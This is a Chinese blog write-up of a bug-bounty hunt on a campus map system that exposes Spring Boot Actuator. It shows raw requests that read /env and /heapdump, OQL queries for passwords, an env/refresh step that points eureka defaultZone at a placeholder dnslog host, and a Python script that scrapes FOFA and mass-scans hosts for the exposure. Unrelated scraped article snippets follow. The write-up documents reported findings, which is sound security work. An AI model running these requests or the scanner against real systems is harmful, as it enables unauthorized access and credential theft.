记一次edusrc的漏洞挖掘

2023-11-11

一、前言

在fofa上闲逛的时候发现这个系统,其实之前也碰到过这个系统,当时可能觉得没什么漏洞点就没有管,正好闲着没事又碰到了这个系统,然后就拿过来简单的测试了一下!

二、漏洞挖掘

1、信息收集

由于我是在fofa上发现的这个系统,所以也谈不上什么信息收集,我就直接贴了fofa搜索语法

app="校园地图服务系统"

2、漏洞挖掘

(1)主页就是一个简单的地图界面

 

(2)使用dirsearch浅扫一下目录吧,结果还真扫出点东西

(3)/actuator/env这不是springboot未授权么,后面测试了几个同样的站,都是未授权,这不让我掏上了么。(高兴归高兴,但是貌似存在漏洞的只有五六个站)

3、springboot 未授权

(1)直接访问/env目录,拿到数据库信息

(2)访问/heapdump目录下载网站的堆转储文件

(3)使用Eclipse Memory Analyzer工具分析,会泄露站点内存信息

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

既然/env目录可以访问,那RCE肯定少不了

4、spring boot RCE

1、访问 http://xxx.xxx.xxx/actuator/env 并抓包,修改数据包为

POST /openapi/actuator/env HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 85
​
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your.dnslog.cn"}

2、刷新配置,修改数据包为

 POST /openapi/actuator/refresh HTTP/1.1
 Host: IP
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
 Content-Type: application/json

发送数据包后dnslog收到响应

3、再次访问/env目录可以发现我们的dnslog地址已经写入

三、批量脚本

批量脚本是结合fofa爬取IP,再利用poc进行漏洞验证

 
import requests
import base64
from lxml import etree
import time
search_data='"校园地图服务系统"'
​
headers={
    'cookie':'fofa.cookie',
}
for Page_number in range(1,3):
    url='https://fofa.info/result?page='+str(Page_number)+'&qbase64='
    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
    urls=url+search_data_bs
    #print(urls)
    try:
        print('正在爬取第' + str(Page_number) + '页')
        result=requests.get(urls,headers=headers).content.decode('utf-8')
        #print(result)
        soup = etree.HTML(result)
        ip_data=soup.xpath('//a[@target="_blank"]/@href')
        ipdata='\n'.join(ip_data)
        print(ip_data)
        with open(r'ip.txt', 'a+') as f:
            f.write(ipdata+'\n')
            f.close()
        time.sleep(0.5)
    except Exception as e:
        pass
​
​
payload='/openapi/actuator/env'
for ip in open('ip.txt'):
    ip=ip.replace('\n','')
    new_url=ip+payload
    #print(new_url)
    try:
        result=requests.get(new_url).content.decode('utf-8')
        code=requests.get(new_url).status_code
        print("check_ip->"+ip)
        if 'activeProfiles' in result and code==200:
            print(('\033[31m存在漏洞的URL->'),new_url)
            print('\033[0m')
            with open(r'result.txt','a+') as f:
                f.write(ip+'\n')
                f.close()
        time.sleep(0.5)
    except Exception as e:
        pass

四、后记

这次其实是一个比较简单的案例,可能是其他师傅没有去测这个系统,正好我运气不错碰到了,其实很多时候许多师傅看到这样的系统就觉得没必要去测(我之前碰到的时候也是这样想的)。所以我们在漏洞挖掘过程中还是要考虑到各种漏洞存在的可能。

上述漏洞已全部上报教育行业漏洞报告平台,如果上述有写的不对的地方,还请各位师傅多多包涵。

个人博客:Cobra's blog

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

记一次edusrc的漏洞挖掘 的相关文章

  • 启动Fiddler导致浏览器显示“您的连接不是私密连接”

    浏览器出现如下问题 解决 在浏览器受信任的根证书颁发机构列表中添加fiddler证书 fiddler导出根证书 谷歌浏览器证书管理 受信任的根证书颁发机构列表中添加fiddler证书 注意 如果以上操作后还是无效 就在fiddler先重置根
  • Tracy JS 小笔记 - 运算符,条件语句,循环

    运算符 数学运算和字符串连接 任何数据加上字符串都等于字符串 var a 1 1 a 1 2 a 2a12 var a 1 1 a 1 2 a 2a3 var a aa true a aatrue var a 1 0 a NaN NaN N
  • 基于CentOS系统的网站搭建(入门级)

    准备 使用到的网站 非广告 阿里云 https www aliyun com utm content se 1008364713 宝塔面板 宝塔面板下载 免费全能的服务器运维软件 以阿里云为例 入门选择 轻量级应用服务器 选择服务器配置 选
  • 7-3 两个有序链表序列的合并 (20 分)

    已知两个非降序链表序列S1与S2 设计函数构造出S1与S2合并后的新的非降序链表S3 输入格式 输入分两行 分别在每行给出由若干个正整数构成的非降序序列 用 1表示序列的结尾 1不属于这个序列 数字用空格间隔 输出格式 在一行中输出合并后新
  • Redis之十大类型(三)(下)

    3 6 Redis位图 bitmap 由 0 和 1 表示的二进制位的 bit 数组 介绍 用String类型作为底层数据结构实现的一种统计二值状态的数据类型 位图本质是数组 它是基于String数据类型的按位的操作 该数组由多个二进制位组
  • 机器学习之K-means原理详解、公式推导、简单实例(python实现,sklearn调包)

    目录 1 聚类原理 1 1 无监督与聚类 1 2 K均值算法 2 公式推导 2 1 距离 2 2 最小平方误差 3 实例 3 1 python实现 3 2 sklearn实现 4 运行 可直接食用 1 聚类原理 1 1 无监督与聚类 在这部
  • 图像处理中常用数学知识

    2 3 3 赋范空间 每个实数或复数 都有相对应的绝对值或者模 每一个n维矢量 也都可以定义其长度 如果把 长度 的概念推广到一般抽象空间中的元素上 就可以得到范数这个概念 本节完 2 3 6 希尔伯特空间 定义 在由内积所定义的范数意义下
  • windows的cmd常用命令

    文章目录 一 位 二 cmd基本操作 1 win R启动运行 2 打开cmd 3 运行的命令 三 cmd常用命令 1 功能性命令 2 文件操作 3 shutdown 4 tasklist命令 5 taskkill命令 6 查看日志 四 cm

随机推荐

  • vue项目启动Error: Cannot find module ‘imagemin-gifsicle‘

    Error Cannot find module imagemin gifsicle 依赖没有安装完全 可以删除module 然后重新安装依赖
  • C语言学习:平方-->乘方(m的n方)

    平方 直接用两个数 或变量 相乘就可以表示平方 比如x x 不过如果 需要求m的n次方 就需要用到pow x y 乘方 包括开方 这个库函数了 使用pow x y 这个库函数 需要math h头文件 其中x和y都是双精度浮点 double
  • [FPGA开发]解决正点原子Xilinx下载器无法下载、灯不亮的问题

    问题描述 使用正点原子的Xilinx下载器下载时 电脑无法识别下载器 Vivado无法识别开发版 问题解决 1 检查XIlinx下载器的灯是否亮起 亮灯 说明 解决方法 红灯亮起 下载器可以连接到PC 检查开发版是否供电正常 蓝灯亮起 下载
  • pytorch测试模型时根据不同列别的概率值得到具体的分类

    pytorch 分类任务的教程 https pytorch org tutorials beginner blitz cifar10 tutorial html 主要使用的是 predict torch max out data 1 最后的
  • best ajax lib,BEST Currency Converter

    想提升客户的购物体验 以当地货币显示价格可以省去他们很多不必要的时间 也能提升客户与平台的粘度 该插件具备如下优势 1 轻松添加多种货币 按下按钮即可添加160多种货币 像专业人士一样开始国际销售 并鼓励客户购买 2 自动转换价格 价格会根
  • node.js 读取文件的时候 cmd执行脚本,中文(汉字)打印不出来

    node js 读取文件的时候 cmd执行脚本 中文 汉字 打印不出来 文本详情 输出结果 问题原因 txt编码格式不是UTF 8 解决办法 打开TXT文件 点击 文件 gt 另存为 gt 编码改为UTF 8 保存替换 问题解决
  • 【大数据】Flink 详解(五):核心篇 Ⅳ

    本系列包含 大数据 Flink 详解 一 基础篇 大数据 Flink 详解 二 核心篇 大数据 Flink 详解 三 核心篇 大数据 Flink 详解 四 核心篇 大数据 Flink 详解 五 核心篇 大数据 Flink 详解 六 源码篇
  • 通俗易懂的教你编写自己的webpack loader与plugin

    前言 webpack几乎是目前前端开发者无人不知的打包框架 毕竟无论使用什么开发库 都会想到要使用webpack打包 包括各种脚手架cli工具 大部分也采用了webpack作为其打包工具 本文试图用最简单的代码 仅仅使用命令行工具 代码足够
  • spring data jpa使用limit时,抛QuerySyntaxException unexpected token: limit

    异常重现 jpql语句如下 select g from Entity g where g codeUrl codeUrl ORDER BY g createTime DESC limit 1异常原因 limit是特定于某些数据库 例如 my
  • IDEA设置为中文

    按照如下步骤操作即可 下载对应的语言包 中文语言包下载地址 注意此处下载的版本只能是IDEA版本之前的语言包 下载之后的会报错 将下载好的jar包 放在IDEA目录下的lib目录下 点击File Settings 点击Plugins 然后点
  • matlab相关性分析(皮尔逊,肯德尔,斯皮尔曼)

    代码 clc clear load CRO C3 mat data GPP DT VUT REF EVI NDVI NIRv kNDVI LSWI FPAR TA F VPD F SW IN F rho corr data type pea
  • LeetCode题目笔记——1658. 将 x 减到 0 的最小操作数

    文章目录 题目描述 题目难度 中等 方法一 反向思考 双指针求最长子数组 代码 Python 代码 C 方法二 滑动窗口 代码 总结 我把这篇也归到面试题那一栏 因为觉得这题的思路和思考方式还挺好的 或许能用到其他题上 题目描述 给你一个整
  • [创业之路-74] - 感悟 - 创业是所有因素的机缘组合,缺一不可; 舰船思维 VS 城堡思维.

    感悟 方向 趋势 路径 资助 船只 船长 大副 水手 船员 装备 配套 路径 一个都不能少 只看对方向与趋势 一样葬身在趋势的洪流中 看不对方向与趋势 亦会老死在寂寞孤冷之中 在所有因素中 船只 装配 配套是最表象和最容易触发感官体验的 目
  • 服务器与虚拟技术,云服务器与虚拟化服务器的区别

    虚拟化服务器是让一台服务器变成几台甚至上百台相互隔离的虚拟服务器 不再受限于物理上的界限 而是让CPU 内存 磁盘 I O等硬件变成可以动态管理的 资源池 从而提高资源的利用率 简化系统管理 服务器虚拟化的种类 主要有 一虚多 多虚一 和
  • c++ 之 shared_ptr

    shared ptr shared ptr 是一种智能指针 smart pointer 作用有如同指针 但会记录有多少个 shared ptrs 共同指向一个对象 这便是所谓的引用计数 reference counting 一旦最后一个这样
  • oracle字符串生成唯一数字,在C#中生成唯一的字符串和数字【GUID】转

    当我们想要获得一个唯一的key的时候 通常会想到GUID 这个key非常的长 虽然我们在很多情况下这并不是个问题 但是当我们需要将这个36个字符的字符串放在URL中时 会使的URL非常的丑陋 想要缩短GUID的长度而不牺牲它的唯一性是不可能
  • Spark常见错误剖析与应对策略

    问题一 日志中出现 org apache spark shuffle MetadataFetchFailedException Missing an output location for shuffle 0 原因分析 shuffle分为s
  • 第2章 PyTorch基础(1/2)

    第2章 PyTorch基础 PyTorch是Facebook团队于2017年1月发布的一个深度学习框架 虽然晚于TensorFlow Keras等框架 但自发布之日起 其关注度就在不断上升 目前在GitHub上的热度已超过Theano Ca
  • iterator 怎么使用甀_Iterator的理解和使用

    es6成员之一的Iterator 遍历器 Iterator 它是一种接口 为各种不同的数据结构提供统一的访问机制 任何数据结构只要部署Iterator接口 就可以完成遍历操作 即依次处理该数据结构的所有成员 Iterator 的作用有三个
  • 记一次edusrc的漏洞挖掘

    一 前言 在fofa上闲逛的时候发现这个系统 其实之前也碰到过这个系统 当时可能觉得没什么漏洞点就没有管 正好闲着没事又碰到了这个系统 然后就拿过来简单的测试了一下 二 漏洞挖掘 1 信息收集 由于我是在fofa上发现的这个系统 所以也谈不